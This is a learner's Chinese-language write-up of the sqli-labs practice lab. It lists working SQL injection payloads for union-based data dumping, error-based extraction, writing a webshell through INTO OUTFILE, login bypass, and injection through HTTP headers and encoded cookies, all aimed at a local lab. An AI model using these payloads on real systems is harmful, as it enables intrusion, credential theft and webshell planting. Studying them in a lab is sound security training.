sqli-labs学习笔记总结

本来是不打算写这个总结了,发现做题的时候好多知识都忘记了,还是写一下吧

Sqli-less-1,2,3,4

因为1,2,3,4都差不多就放一起说了
Mysql 常用指令:

Show databases; 显示数据库名
Show tables; 显示表名    
Desc table; 查看表的信息
select * from table_name:查看该表里的所有内容

一些sql命令:

order by :用于对结果集进行排序 在sql注入里通常查看有多少字段
select :语句用于从表中选取数据 
union select :用于合并两个或多个select 语句的结果集 在sql注入里表示联合查询
concat :返回字符串连接的结果
通过information_schema查看security的内容: select table_name from information_schema.tables where table_schema='security'; Where 是查询条件

主要payload:
爆表名:

http://127.0.0.1/Less-4/?id=1") union select 1,table_name,3 from information_schema.tables where table_schema='security'limit 1,1--+

爆出全部表名:

http://127.0.0.1/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ //利用group_concat函数直接输出全部表名

爆列名:

http://127.0.0.1/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

爆内容:

http://127.0.0.1/Less-4/?id=-1") union select 1,group_concat(username,password),3 from users--+ 

Sqli-less-5,6

基于错误的注入:

rand()获得一个0-1的随机数
floor 向下取整
group by 排序
count() 统计

主要payload:

http://127.0.0.1/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+

利用Extractvalue函数报错:

http://127.0.0.1/Less-5/?id=1' and extractvalue(1, concat(0x7e, (select database()),0x7e)) --+

利用Updatexm函数报错:

http://127.0.0.1/Less-5/?id=1'  and (updatexml(1,concat(0x3a,(select database())),1))--+

sqli-less-7

利用注入去写入文件,在知道绝对路径的情况下可以写入一句话木马
outfile函数:

select into outfile //将表的内容导出为一个文本文件 
select [列名] from table [where 语句]
into outfile ‘目标文件’ [option];

dumpfile函数 将表的内容导出一行

select * from users limit 0,1 into dumpfile 'c:/2.txt';

load_file函数 将数据导入mysql

select load_file ('c:/1.txt')

读写权限测试:

and (select count(*)from mysql.user)>0 --+ //如果返回正常则有读写权限

主要payload:

http://127.0.0.1/Less-7/?id=1'))union select 1,2,3 into outfile 'D:/wamp/www/Less-7/1.txt' --+  //在绝对路径生成一个1.txt文件
http://127.0.0.1/Less-7/?id=1'))  union select 1,load_file('D:/wamp/www/Less-7/1.jpg'),3 into outfile 'D:/wamp/www/Less-7/1.php' --+  //将一句话木马上传到网站目录上

sqli-less-8,9,10,15,16

盲注之前的盲注笔记

sqli-less-11,12

post传参注入
常见的万能密码:
or 1=1 #
‘or’=’or’
主要payload:

uname=111' or 1=1 #&passwd=111&submit=Submit  //成功登陆 可以添加一个limit函数 获取其他的name password 然后可以在111’后构建攻击代码

sqli-less-13,14

基于错误的post型注入

sqli-less-17

密码重置注入
update语句:

作用:用于修改表中的数据
语法: update 表名称 set 列名称 = 新值 where 列名称 = 某值
例句: update users set password= 'Dumb' where username = 'Dumb'; 修改users表中Dumb的密码。
其中“set 列名称 = 新值” 新值可以为逻辑运算的结果(True or False)

password型的基于错误的注入
主要payload:
rand随机数型:

uname=admin&passwd=' or (select * from (select count(*),concat(0x3a,database(),0x3a,floor(rand()*2))a from information_schema.tables group by a)b)# &submit=Submit

extractvalue型:

uname=admin&passwd=' or (updatexml(1,concat(0x3a,(select database()),0x3a),1)) #&submit=Submit

updatexml型:

uname=admin&passwd=' or (updatexml(1,concat(0x3a,(select database()),0x3a),1)) #&submit=Submit

sqli-less-18

insert 语句:

作用:insert into 用于向表格中插入新的行
语法:insert into 表名称 values(值1,值2,......)
例句:insert into users values(15,'aaaa','aaaa'); 向users表中插入新的数据
注: insert与update一样  values可以插入逻辑运算结果

利用user-agent进行基于错误的注入:
主要payload:

User-Agent:',extractvalue (1,concat(0x3a,(select database()),0x3a)))#

sqli-less-19

利用referer进行基于错误的注入
主要payload:

Referer: 1',extractvalue(1, concat(0x7e, (select database()),0x7e))) #

sqli-less-20,21,22

利用cookie进行注入
主要payload:

Cookie: uname=1' union select 1,database(),@@version #   //less20
Cookie:uname=MScpIHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCksQEB2ZXJzaW9uICM=   //less21 进行编码绕过
Cookie: uname=MSIgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSxAQHZlcnNpb24gIw==

sqli-less-23-37

基于waf的Get型注入 sql绕过技巧

Session机制

Session是另一种记录客户状态的机制,不同的是Cookie保存在客户端浏览器中,而Session保存在服务器上。客户端浏览器访问服务器的时候,服务器把客户端信息以某种形式记录在服务器上。这就是Session。客户端浏览器再次访问时只需要从该Session中查找该客户的状态就可以了。
如果说Cookie机制是通过检查客户身上的“通行证”来确定客户身份的话,那么Session机制就是通过检查服务器上的“客户明细表”来确认客户身份。Session相当于程序在服务器上建立的一份客户档案,客户来访的时候只需要查询客户档案表就可以了。